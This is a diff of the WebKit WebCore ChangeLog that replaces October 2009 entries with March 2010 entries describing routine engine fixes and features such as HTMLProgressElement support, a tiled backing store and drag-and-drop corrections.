-        * platform/network/mac/ResourceHandleMac.mm:
-        (WebCore::ResourceHandle::start): Update credentials before starting the request for real.
-        This makes the following pattern work:
-          var req = new XMLHttpRequest("GET", "logout.html", "logout", "logout"); // wrong credentials
-          req.send("");
-          req.abort();
-        Abort() is used here to avoid having UA present an auth dialog after getting a 401 response.
-        Note that one cannot log in using the same method, because there isn't a known protection
-        space for the URL yet in that case, so the added code has no effect.
-        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Use a correct persistence for
-        calling receivedCredential(). This fixes logging in using an async XHR (withut abort(), of
-        course), and matches sync case.
-        (+[WebCoreSynchronousLoader loadRequest:allowStoredCredentials:returningResponse:error:]):
-        Renamed getDefaultAuthenticationCredential() to get().
+        Reviewed by Alexey Proskuryakov.
 
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::ResourceHandle::start):
-        (WebCore::WebCoreSynchronousLoader::load):
-        Same changes as in Mac code.
+        Selection.modify extends too far with 'lineboundary'.
+        https://bugs.webkit.org/show_bug.cgi?id=33413
 
-2009-10-09  Enrica Casucci  <enrica@apple.com>
+        Selection.modify() with 'lineboundary' granularity implies just
+        "Go to the end of the line", unlike selection expansion with
+        other type of granularities. This change handled LineGranularity
+        as special case, to look-up end of line with UPSTREAM affinity. 
+        Doing this prevents look-up algorithm to go next line.
 
-        Reviewed by Adele Peterson.
+        Test: editing/selection/extend-selection-expected.txt
 
-        Undoing a indent removes text instead of it's formatting.
-        <rdar://problem/7169206>
-        https://bugs.webkit.org/show_bug.cgi?id=28722
-        Restored the behavior prior to http://trac.webkit.org/changeset/46143. This change implemented the
-        indent command making simple DOM operation, without using moveParagraph which cause undo to be broken.
+        * dom/Position.cpp:
+        (WebCore::Position::getInlineBoxAndOffset):
+        Handled an edge case for node look-up with UPSTREAM.
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::modifyExtendingForward):
+        Added UPSTREAM tweak for the case for LineGranularity.
         
-        Added editing/undo/undo-indent.html test.
-
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::IndentOutdentCommand::prepareBlockquoteLevelForInsertion): Restored. 
-        (WebCore::IndentOutdentCommand::tryIndentingAsListItem): Merged changes.
-        (WebCore::IndentOutdentCommand::indentIntoBlockquote): Restored.
-        (WebCore::IndentOutdentCommand::indentRegion): Restored and added call to updateLayout to
-        ensure TextIterator could correctly calculate the position starting from the index.
-        * editing/IndentOutdentCommand.h: Restored.
+2010-03-14  Yuzo Fujishima  <yuzo@google.com>
 
-2009-10-09  Jens Alfke  <snej@chromium.org>
+        Reviewed by Shinichiro Hamaji.
 
-        Reviewed by Darin Adler.
-        
-        Optimization: Many StringImpl transformations are no-ops and should just return 'this'
-        https://bugs.webkit.org/show_bug.cgi?id=30186
-
-        Optimized StringImpl methods lower(), stripWhiteSpace() and simplifyWhiteSpace() to
-        detect no-ops and return this instead of creating a new instance.
-        Empirical testing shows that the majority of calls to these methods are no-ops, making
-        this worthwhile even if (in the case of lower()) the non-no-op case is slightly slowed.
-        Upper() is very rarely a no-op, so it wasn't worthwhile to optimize it.
+        Always call PrintContext.end() from PrintContext::pageNumberForElement().
 
-        * platform/text/StringImpl.cpp:
-        (WebCore::StringImpl::lower):
-        (WebCore::StringImpl::upper): Just add a comment explaining why this wasn't optimized
-        (WebCore::StringImpl::stripWhiteSpace):
-        (WebCore::StringImpl::simplifyWhiteSpace):
+        Without this change, WebKit remains in printing mode after determining the page number if the specified element is found.
 
-2009-10-09  Dirk Schulze  <krit@webkit.org>
+        https://bugs.webkit.org/show_bug.cgi?id=36049
 
-        Reviewed by Oliver Hunt.
+        Test: printing/return-from-printing-mode.html
 
-        SVG Filter feGaussianBlur implementation is missing
-        [https://bugs.webkit.org/show_bug.cgi?id=28141]
+        * page/PrintContext.cpp:
+        (WebCore::PrintContext::pageNumberForElement):
 
-        This is the implementation of GaussianBlur filter for SVG.
+2010-03-11  Philippe Normand  <pnormand@igalia.com>
 
-        There is already a test for feGaussianBlur
-        Test: svg/W3C-SVG-1.1/filters-gauss-01-b-w3c.svg 
+        Reviewed by Gustavo Noronha Silva.
 
-        Test: svg/filters/feGaussianBlur.svg
+        [GStreamer] progressTimer never stopped after EOS
+        https://bugs.webkit.org/show_bug.cgi?id=36007
 
-        * platform/graphics/filters/FilterEffect.cpp:
-        (WebCore::FilterEffect::FilterEffect):
-        * platform/graphics/filters/FilterEffect.h:
-        (WebCore::FilterEffect::isAlphaImage):
-        (WebCore::FilterEffect::setIsAlphaImage):
-        * platform/graphics/filters/SourceAlpha.cpp:
-        (WebCore::SourceAlpha::apply):
-        * svg/graphics/filters/SVGFEGaussianBlur.cpp:
-        (WebCore::boxBlur):
-        (WebCore::FEGaussianBlur::apply):
+        Mark the pipeline as paused only if playback hasn't ended
+        yet. When didEnd() is triggered, the pipeline is paused (but
+        paused() still returns false) and a timeupdate event is fired,
+        those 2 conditions allow the HTMLMediaElement to stop the
+        progressTimer (in updatePlayerState, via mediaPlayerTimeChanged).
 
-2009-10-09  Philippe Normand  <pnormand@igalia.com>
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::updateStates):
 
-        Reviewed by Gustavo Noronha.
+2010-03-14  Chang Shu  <chang.shu@nokia.com>
 
-        [GTK] QoS support in the video sink
-        https://bugs.webkit.org/show_bug.cgi?id=29959
+        Reviewed by Simon Hausmann.
 
-        Removed the async buffer queue from the sink. Synchronize the
-        render method of the sink using a g_timeout_add() combined with a
-        gcond triggered when the buffer has been rendered.
-        Also fixed the video sink reference handling in the player, now
-        that the idle is not there anymore to mess up things.
+        [Qt] [Symbian] Added block for ENABLE_SYMBIAN_DIALOG_PROVIDERS
+        on Symbian platform.
+        https://bugs.webkit.org/show_bug.cgi?id=35919
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_init):
-        (webkit_video_sink_timeout_func):
-        (webkit_video_sink_render):
-        (webkit_video_sink_dispose):
-        (unlock_buffer_mutex):
-        (webkit_video_sink_unlock):
-        (webkit_video_sink_stop):
-        (webkit_video_sink_class_init):
+        * WebCore.pro:
 
-2009-10-09  Dirk Schulze  <krit@webkit.org>
+2010-03-14  Yael Aharon  <yael.aharon@nokia.com>
 
-        Reviewed by Nikolas Zimmermann.
+        Reviewed by Darin Adler.
 
-        feMorphology filter is not implemented
-        [https://bugs.webkit.org/show_bug.cgi?id=5863]
+        Support for HTMLProgressElement
+        https://bugs.webkit.org/show_bug.cgi?id=35937
 
-        Adds SVGFEMorphologyElement, for the SVG filter. It also fixes a bug
-        with the attribute "operator". It was only accessible via "_operator" 
-        on JavaScript.
+        Added support for HTMLProgressElement.
+        This implementation is enabled only for Qt, because only RenderThemeQt
+        was modified to actually draw the progress element.
+        The labels attribute of the progress element will be implemented in a
+        separate patch.
 
-        Test: svg/dom/operatorAttribute.xhtml
+        Tests: fast/dom/HTMLProgressElement/progress-element.html
+               fast/dom/HTMLProgressElement/set-progress-properties.html
 
         * DerivedSources.cpp:
         * DerivedSources.make:
         * GNUmakefile.am:
-        * WebCore.SVG.Filters.exp:
         * WebCore.gypi:
+        * WebCore.pri:
         * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * bindings/objc/DOM.mm:
-        (WebCore::createElementClassMap):
-        * bindings/objc/DOMSVG.h:
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bindings/scripts/CodeGeneratorObjC.pm:
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType):
+        * css/CSSValueKeywords.in:
+        * css/html.css:
+        * html/HTMLElement.cpp:
+        (WebCore::inlineTagList):
+        * html/HTMLElementsAllInOne.cpp:
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::HTMLFormControlElement):
+        * html/HTMLFormControlElement.h:
+        * html/HTMLProgressElement.cpp: Added.
+        (WebCore::HTMLProgressElement::HTMLProgressElement):
+        (WebCore::HTMLProgressElement::create):
+        (WebCore::HTMLProgressElement::createRenderer):
+        (WebCore::HTMLProgressElement::formControlType):
+        (WebCore::HTMLProgressElement::parseMappedAttribute):
+        (WebCore::HTMLProgressElement::value):
+        (WebCore::HTMLProgressElement::setValue):
+        (WebCore::HTMLProgressElement::max):
+        (WebCore::HTMLProgressElement::setMax):
+        (WebCore::HTMLProgressElement::position):
+        * html/HTMLProgressElement.h: Added.
+        (WebCore::HTMLProgressElement::isOptionalFormControl):
+        * html/HTMLProgressElement.idl: Added.
+        * html/HTMLTagNames.in:
         * page/DOMWindow.idl:
-        * svg/SVGAllInOne.cpp:
-        * svg/SVGFECompositeElement.idl:
-        * svg/SVGFEMorphologyElement.cpp: Added.
-        (WebCore::SVGFEMorphologyElement::SVGFEMorphologyElement):
-        (WebCore::SVGFEMorphologyElement::~SVGFEMorphologyElement):
-        (WebCore::SVGFEMorphologyElement::setRadius):
-        (WebCore::SVGFEMorphologyElement::parseMappedAttribute):
-        (WebCore::SVGFEMorphologyElement::build):
-        * svg/SVGFEMorphologyElement.h: Added.
-        * svg/SVGFEMorphologyElement.idl: Added.
-        * svg/graphics/filters/SVGFEMorphology.cpp:
-        (WebCore::operator<<):
-        * svg/graphics/filters/SVGFEMorphology.h:
-        (WebCore::):
-        * svg/svgtags.in:
-
-2009-10-09  Yury Semikhatsky  <yurys@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix Chromium breakage.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30104
-
-        * inspector/front-end/inspector.js:
-        (WebInspector.addCookieDomain): check that Storage panel is present before calling its methods.
-
-2009-10-09  Joe Ligman  <joseph.ligman@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Added pure virtual methods setInputMethodEnabled and setInputMethodHint to QWebPageClient
-
-        https://bugs.webkit.org/show_bug.cgi?id=30023
-
-        * platform/qt/QWebPageClient.h:
+        * platform/ThemeTypes.h:
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::adjustProgressBarStyle):
+        (WebCore::RenderThemeQt::paintProgressBar):
+        * platform/qt/RenderThemeQt.h:
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isProgress):
+        * rendering/RenderProgress.cpp: Added.
+        (WebCore::RenderProgress::RenderProgress):
+        (WebCore::RenderProgress::baselinePosition):
+        (WebCore::RenderProgress::calcPrefWidths):
+        (WebCore::RenderProgress::layout):
+        (WebCore::RenderProgress::updateFromElement):
+        * rendering/RenderProgress.h: Added.
+        (WebCore::RenderProgress::renderName):
+        (WebCore::RenderProgress::isProgress):
+        (WebCore::toRenderProgress):
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::adjustStyle):
+        (WebCore::RenderTheme::paint):
+        (WebCore::RenderTheme::paintBorderOnly):
+        (WebCore::RenderTheme::paintDecorations):
+        (WebCore::RenderTheme::adjustProgressBarStyle):
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::paintProgressBar):
 
-2009-10-08  Dave Hyatt  <hyatt@apple.com>
+2010-03-14  Oliver Hunt  <oliver@apple.com>
 
         Reviewed by Darin Adler.
 
-        Implement beforeload for images.  ImageLoadEventSender has been refactored into a more generic
-        ImageEventSender that can be used by both load and beforeload events.  If the document has any
-        beforeload listeners, then the installation of images onto the renderer becomes asynchronous
-        and will be held up until the beforeload event can fire at a later date.
-
-        Both beforeload and load events now fire at the end of the tokenizer write() methods, so that
-        in the typical parsing case we don't have to put off the beforeload/load events until after
-        a layout or paint might already have happened.  This lets beforeload/load not cause extra
-        layouts and repaints.
+        REGRESSION(r53287): drop event is not fired if dataTransfer.dropEffect is not explicitly set
+        https://bugs.webkit.org/show_bug.cgi?id=36095
 
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::dispatchBeforeLoadEvent):
-        * dom/Document.cpp:
-        (WebCore::Document::implicitClose):
-        (WebCore::Document::addListenerTypeIfNeeded):
-        * dom/Document.h:
-        (WebCore::Document::):
-        * dom/XMLTokenizer.cpp:
-        (WebCore::XMLTokenizer::write):
-        * html/HTMLImageElement.cpp:
-        (WebCore::HTMLImageElement::attach):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::attach):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::write):
-        * loader/ImageLoader.cpp:
-        (WebCore::ImageBeforeLoadEventSender::ImageBeforeLoadEventSender):
-        (WebCore::ImageLoadEventSender::ImageLoadEventSender):
-        (WebCore::beforeLoadEventSender):
-        (WebCore::ImageLoader::ImageLoader):
-        (WebCore::ImageLoader::~ImageLoader):
-        (WebCore::ImageLoader::setImage):
-        (WebCore::ImageLoader::setLoadingImage):
-        (WebCore::ImageLoader::updateFromElement):
-        (WebCore::ImageLoader::notifyFinished):
-        (WebCore::ImageLoader::dispatchPendingBeforeLoadEvent):
-        (WebCore::ImageLoader::dispatchPendingEvents):
-        (WebCore::ImageEventSender::ImageEventSender):
-        (WebCore::ImageEventSender::dispatchEventSoon):
-        (WebCore::ImageEventSender::cancelEvent):
-        (WebCore::ImageEventSender::dispatchPendingEvents):
-        (WebCore::ImageEventSender::timerFired):
-        * loader/ImageLoader.h:
-        (WebCore::ImageLoader::haveFiredBeforeLoadEvent):
-        * wml/WMLImageElement.cpp:
-        (WebCore::WMLImageElement::attach):
-
-2009-10-09  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Web Inspector: Wrap Database into ScriptObject in v8 bindings.
+        The issue here is that while dropEffect is meant to be initialized
+        to "none", the behaviour of the drag is differs between dragEffect
+        not being set and dragEffect being explicitly set to "none"
 
-        https://bugs.webkit.org/show_bug.cgi?id=30174
+        This patch corrects this behaviour by making Clipboard distinguish
+        between the initial "none" value of dropEffect and an explicit "none".
+        This alone is insufficient for correct behaviour, we also need to
+        resurrect the removed defaultOperationForDrag function, but we now
+        use the function only when dragEffect is uninitialized.  There are a
+        few tweaks to the behaviour of the defaultOperationForDrag as well
+        to ensure exactly the same set of outcomes for all cases that we
+        may hit it.
 
-        No tests due to no Script* test infrastructure.
-
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::Clipboard):
+        (WebCore::dragOpFromIEOp):
+        (WebCore::Clipboard::destinationOperation):
+        * dom/Clipboard.h:
+        (WebCore::Clipboard::dropEffect):
+        (WebCore::Clipboard::dropEffectIsUninitialized):
+        * page/DragController.cpp:
+        (WebCore::defaultOperationForDrag):
+        (WebCore::DragController::tryDHTMLDrag):
 
-2009-10-09  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-14  Antti Koivisto  <koivisto@iki.fi>
 
         Reviewed by Simon Hausmann.
-
-        [Qt] Windowless Plugins : Fix crash when using QWebPage without QWebView.
         
-        'client' is 0 when we have no view.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30251
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::paint):
-
-2009-10-09  Girish Ramakrishnan  <girish@forwardbias.in>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Plugins : Add missing setCurrentPlugin(0)
-
-        https://bugs.webkit.org/show_bug.cgi?id=30248
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::dispatchNPEvent):
-
-2009-10-09  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] beforeload event does not fire on script elements in XML
-        https://bugs.webkit.org/show_bug.cgi?id=30235
-
-        r49194 was lacking a change to XMLTokenizerQt.cpp, equivalent to the one
-        made in XMLTokenizerLibxml2.cpp.
-
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::parseEndElement):
-
-2009-10-09  Zoltan Horvath  <zoltan@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        Allow custom memory allocation control for WebCore's CSSParserValueList
-        https://bugs.webkit.org/show_bug.cgi?id=30249
-
-        Inherits CSSParserValueList class from FastAllocBase because it has 
-        been instantiated by 'new' in WebCore/css/CSSGrammar.y:1271.
-
-        * css/CSSParserValues.h:
-
-2009-10-09  Girish Ramakrishnan  <girish@forwardbias.in>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Windowless Plugins : Create Pixmap only when size changes.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30214
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-
-2009-10-08  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Remove the WebKitPluginHalterEnabledPreferenceKey in favor of checking
-        for the existence of a PluginHalterDelegate.
-
-        This fixes a leak of WebPluginHalterClients:
-        https://bugs.webkit.org/show_bug.cgi?id=30119.
-
-        Reviewed by Dan Bernstein.
-
-        * WebCore.base.exp:
-        Removed the export of WebCore::Settings::setPluginHalterEnabled().
-
-        * loader/EmptyClients.h:
-        (WebCore::EmptyPluginHalterClient::enabled):
-
-        * page/Page.cpp:
-        (WebCore::Page::Page):
-        Remove initialization of m_pluginHalterClient, which was removed. If a
-        non-null PluginHalterClient was passed, create the PluginHalter, and
-        set its allowed run time.
-
-        * page/Page.h:
-        Removed pluginHalterEnabledStateChanged() and m_pluginHalterClient.
-
-        * page/PluginHalter.cpp:
-        (WebCore::PluginHalter::didStartPlugin):
-        Check whether the PluginHalterClient is enabled.
-        (WebCore::PluginHalter::didStopPlugin):
-        Ditto.
-
-        * page/PluginHalter.h:
-        Made m_client an OwnPtr.
+        https://bugs.webkit.org/show_bug.cgi?id=35146
+        Support tiled backing store
 
-        * page/PluginHalterClient.h:
-        Added a function to return the enabled state.
+        Implements a basic tiled backing store mechanism. Tiles are created and 
+        deleted on demand. The page content is cached to the tiles. Tile content
+        is kept in sync with the document. Since the backing store covers area
+        larger than the currently visible viewport, the document can be scrolled
+        quickly without having to enter rendering tree painting.
+        
+        The tile management code is platform independent. This patch has simple QPixmap
+        based tile implementation for Qt.
+        
+        The feature is behind ENABLE_TILED_BACKING_STORE flag.
 
+        * WebCore.pri:
+        * WebCore.pro:
+        * page/Frame.cpp:
+        (WebCore::Frame::Frame):
+        (WebCore::Frame::setTiledBackingStoreEnabled):
+        (WebCore::Frame::tiledBackingStorePaintBegin):
+        (WebCore::Frame::tiledBackingStorePaint):
+        (WebCore::Frame::tiledBackingStorePaintEnd):
+        (WebCore::Frame::tiledBackingStoreContentsRect):
+        * page/Frame.h:
+        (WebCore::Frame::tiledBackingStore):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::repaintContentRectangle):
+        (WebCore::FrameView::doDeferredRepaints):
         * page/Settings.cpp:
         (WebCore::Settings::Settings):
-        Remove initialization of removed member.
-
+        (WebCore::Settings::setTiledBackingStoreEnabled):
         * page/Settings.h:
-        Removed settings for the enabled state of the PluginHalter; we now use
-        the existence of a WebPluginHalterDelegate to determine whether the
-        PluginHalter is enabled.
-
-2009-10-08  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Move executeScript from FrameLoader to ScriptController
-        https://bugs.webkit.org/show_bug.cgi?id=30200
-
-        These methods have virtually no interaction with FrameLoader.  They
-        really seem like they ought to belong to ScriptController.
-
-        * WebCore.base.exp:
-        * bindings/js/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::execute):
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::ScriptController):
-        (WebCore::ScriptController::executeScript):
-        (WebCore::ScriptController::executeIfJavaScriptURL):
-        (WebCore::ScriptController::evaluate):
-        * bindings/js/ScriptController.h:
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::ScriptController):
-        (WebCore::ScriptController::executeScript):
-        (WebCore::ScriptController::executeIfJavaScriptURL):
-        * bindings/v8/ScriptController.h:
-        * dom/XMLTokenizer.cpp:
-        (WebCore::XMLTokenizer::notifyFinished):
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::endElementNs):
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::parseEndElement):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::scriptExecution):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::changeLocation):
-        (WebCore::FrameLoader::urlSelected):
-        (WebCore::FrameLoader::requestFrame):
-        (WebCore::FrameLoader::submitForm):
-        (WebCore::FrameLoader::replaceDocument):
-        * loader/FrameLoader.h:
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::performRequest):
-
-2009-10-08  Geoffrey Garen  <ggaren@apple.com>
-
-        Windows build fix: added missing #include.
-
-        * ForwardingHeaders/runtime/StructureChain.h: Copied from WebCore/ForwardingHeaders/runtime/PropertyNameArray.h.
-
-2009-10-08  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30237>.
-        DOM Content and Load lines aren't shown if a page is loaded when the inspector is up.
-        
-        Make sure to call update script object if we have an InspectorFrontend to
-        call it on when we get one of the new events.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::mainResourceFiredDOMContentEvent):
-        (WebCore::InspectorController::mainResourceFiredLoadEvent):
-
-2009-10-08  Geoffrey Garen  <ggaren@apple.com>
-
-        Build fix: updated for removal of Structure::markAggregate().
-
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::markChildren):
-
-2009-10-08  Jens Alfke  <snej@chromium.org>
+        (WebCore::Settings::tiledBackingStoreEnabled):
+        * platform/graphics/Tile.h: Added.
+        (WebCore::Tile::create):
+        (WebCore::Tile::coordinate):
+        (WebCore::Tile::rect):
+        * platform/graphics/TiledBackingStore.cpp: Added.
+        (WebCore::TiledBackingStore::TiledBackingStore):
+        (WebCore::TiledBackingStore::~TiledBackingStore):
+        (WebCore::TiledBackingStore::invalidate):
+        (WebCore::TiledBackingStore::updateTileBuffers):
+        (WebCore::TiledBackingStore::paint):
+        (WebCore::TiledBackingStore::viewportChanged):
+        (WebCore::TiledBackingStore::setContentsScale):
+        (WebCore::TiledBackingStore::tileDistance):
+        (WebCore::TiledBackingStore::createTiles):
+        (WebCore::TiledBackingStore::dropOverhangingTiles):
+        (WebCore::TiledBackingStore::dropTilesOutsideRect):
+        (WebCore::TiledBackingStore::tileAt):
+        (WebCore::TiledBackingStore::setTile):
+        (WebCore::TiledBackingStore::removeTile):
+        (WebCore::TiledBackingStore::mapToContents):
+        (WebCore::TiledBackingStore::mapFromContents):
+        (WebCore::TiledBackingStore::contentsRect):
+        (WebCore::TiledBackingStore::tileRectForCoordinate):
+        (WebCore::TiledBackingStore::tileCoordinateForPoint):
+        (WebCore::TiledBackingStore::startTileBufferUpdateTimer):
+        (WebCore::TiledBackingStore::tileBufferUpdateTimerFired):
+        (WebCore::TiledBackingStore::startTileCreationTimer):
+        (WebCore::TiledBackingStore::tileCreationTimerFired):
+        (WebCore::TiledBackingStore::setContentsFrozen):
+        * platform/graphics/TiledBackingStore.h: Added.
+        (WebCore::TiledBackingStore::contentsScale):
+        (WebCore::TiledBackingStore::contentsFrozen):
+        * platform/graphics/TiledBackingStoreClient.h: Added.
+        * platform/graphics/qt/TileQt.cpp: Added.
+        (WebCore::checkeredPixmap):
+        (WebCore::Tile::Tile):
+        (WebCore::Tile::~Tile):
+        (WebCore::Tile::isDirty):
+        (WebCore::Tile::isReadyToPaint):
+        (WebCore::Tile::invalidate):
+        (WebCore::Tile::updateBackBuffer):
+        (WebCore::Tile::swapBackBufferToFront):
+        (WebCore::Tile::paint):
+        (WebCore::Tile::paintCheckerPattern):
+
+2010-03-14  Dan Bernstein  <mitz@apple.com>
 
         Reviewed by Darin Adler.
 
-        Make AtomicString create its StringImpl via create(), not the constructor,
-        so it gets allocated in a single heap block, saving memory and CPU cycles.
-        This eliminates two StringImpl constructors, making the remaining ones
-        unambiguous, so the "AdoptBuffer" parameter is no longer needed.
-        Added const attribute to UChar* in StringImpl constructor, eliminating the
-        need for several const_casts in calls to it.
-        StringImpl also unfriends AtomicString (OMG drama!!!)
-        https://bugs.webkit.org/show_bug.cgi?id=30141
+        WebCore part of removing support for legacy versions of Core Graphics
 
-        * platform/text/AtomicString.cpp:
-        (WebCore::CStringTranslator::translate): Call StringImpl::create().
-        (WebCore::UCharBufferTranslator::translate): Ditto.
-        (WebCore::HashAndCharactersTranslator::translate): Ditto.
-        * platform/text/StringImpl.cpp:
-        (WebCore::StringImpl::StringImpl): Remove unnecessary AdoptBuffer param.
-        (WebCore::StringImpl::adopt): Ditto.
-        (WebCore::StringImpl::createUninitialized): Ditto.
-        (WebCore::StringImpl::create): Ditto.
-        (WebCore::StringImpl::crossThreadString): Ditto.
-        * platform/text/StringImpl.h:
-        (WebCore::StringImpl::setHash): Used by AtomicString when creating StringImpls.
+        * WebCore.vcproj/WebCore.vcproj: Removed FontDatabase.{cpp,h}
+        * platform/graphics/win/FontCGWin.cpp:
+        (WebCore::Font::drawGlyphs): Removed call to wkCanCreateCGFontWithLOGFONT(),
+        as it is now always true.
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::FontCache::createFontPlatformData): Ditto.
+        * platform/graphics/win/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::~FontCustomPlatformData): Updated for
+        the removal of m_cgFont.
+        (WebCore::FontCustomPlatformData::fontPlatformData): Removed call to
+        wkCanCreateCGFontWithLOGFONT(), as it is now always true.
+        (WebCore::createFontCustomPlatformData): Ditto. Also updated for change to
+        the FontCustomPlatformData constructor.
+        * platform/graphics/win/FontCustomPlatformData.h: Removed m_cgFont member.
+        (WebCore::FontCustomPlatformData::FontCustomPlatformData): Removed cgFont
+        parameter.
+        * platform/graphics/win/FontDatabase.cpp: Removed.
+        * platform/graphics/win/FontDatabase.h: Removed.
+        * platform/graphics/win/FontPlatformDataCGWin.cpp:
+        (WebCore::FontPlatformData::platformDataInit): Removed call to
+        wkCanCreateCGFontWithLOGFONT(), as it is now always true.
+        * platform/win/TemporaryLinkStubs.cpp:
+        (WebCore::populateFontDatabase): Removed stub.
 
-2009-10-08  Anders Carlsson  <andersca@apple.com>
+2010-03-14  Jessie Berlin  <jberlin@webkit.org>
 
         Reviewed by Sam Weinig.
 
-        Remove the shouldLoadMediaElementURL frame loader client function.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::willLoadMediaElementURL):
-
-2009-10-08  John Gregg  <johnnyg@google.com>
+        "event.ctrlKey" is always false when dragging an element with "ctrl" key down
+        https://bugs.webkit.org/show_bug.cgi?id=17113
 
-        Reviewed by Dimitri Glazkov.
-
-        SVGURIReference Build problem for V8.  An additional stale reference to SVGURIReference bindings
-        which wasn't exposed until a clean build.
-        https://bugs.webkit.org/show_bug.cgi?id=30217
-
-        No new tests, just a build fix.
-
-        * bindings/v8/V8Index.cpp:
+        No new tests.
 
-2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+        * page/DragController.cpp:
+        (WebCore::createMouseEvent):
+        Use the current state of the shift, ctrl, alt, and meta keys when creating the drag mouse event.
 
-        Not reviewed. Sort XCode project file.
+2010-03-13  Antonio Gomes  <tonikitoo@webkit.org>
 
-        * WebCore.xcodeproj/project.pbxproj:
+        Not reviewed identation fix.
 
-2009-10-08  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+        * manual-tests/spatial-navigation/spatial-navigation-test-cases.html:
 
-        Reviewed by Timothy Hatcher.
+2010-03-13  Kim Grönholm  <kim.gronholm@nomovok.com>
 
-        unselectable resources in resource panel
-        https://bugs.webkit.org/show_bug.cgi?id=30079
+        Reviewed by Kenneth Rohde Christiansen.
 
-        manual test added
-        
-        Also changed the way DnD for resources in the Resources panel is 
-        handled.
+        [Qt] GraphicsLayer: Opacity change from zero to non-zero doesn't always have effect with AC
+        https://bugs.webkit.org/show_bug.cgi?id=36034
 
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.onattach):
-        (WebInspector.ResourceSidebarTreeElement.prototype.ondragstart):
-        * manual-tests/inspector/duplicate-resource-urls.html: Added.
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::OpacityAnimationQt::applyFrame):
 
-2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+2010-03-13  Kim Grönholm  <kim.gronholm@nomovok.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Fixes <http://webkit.org/b/30233>
-        Local Storage and Cookies show Blank Titles on Local Files.
+        [Qt] GraphicsLayer: Opacity transitions end with begin value
+        https://bugs.webkit.org/show_bug.cgi?id=36019
 
-        If a local storage or cookies sidebar item has no domain, set the 
-        title to "Local Files", because that is what it represents.
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::AnimationQt::updateCurrentTime):
 
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.DOMStorageSidebarTreeElement.prototype.get mainTitle):
-        (WebInspector.CookieSidebarTreeElement.prototype.get mainTitle):
-        (WebInspector.CookieSidebarTreeElement.prototype.set mainTitle):
+2010-03-13  Dirk Schulze  <krit@webkit.org>
 
-2009-10-08  Dave Hyatt  <hyatt@apple.com>
+        No review, rolling out r55927.
+        http://trac.webkit.org/changeset/55927
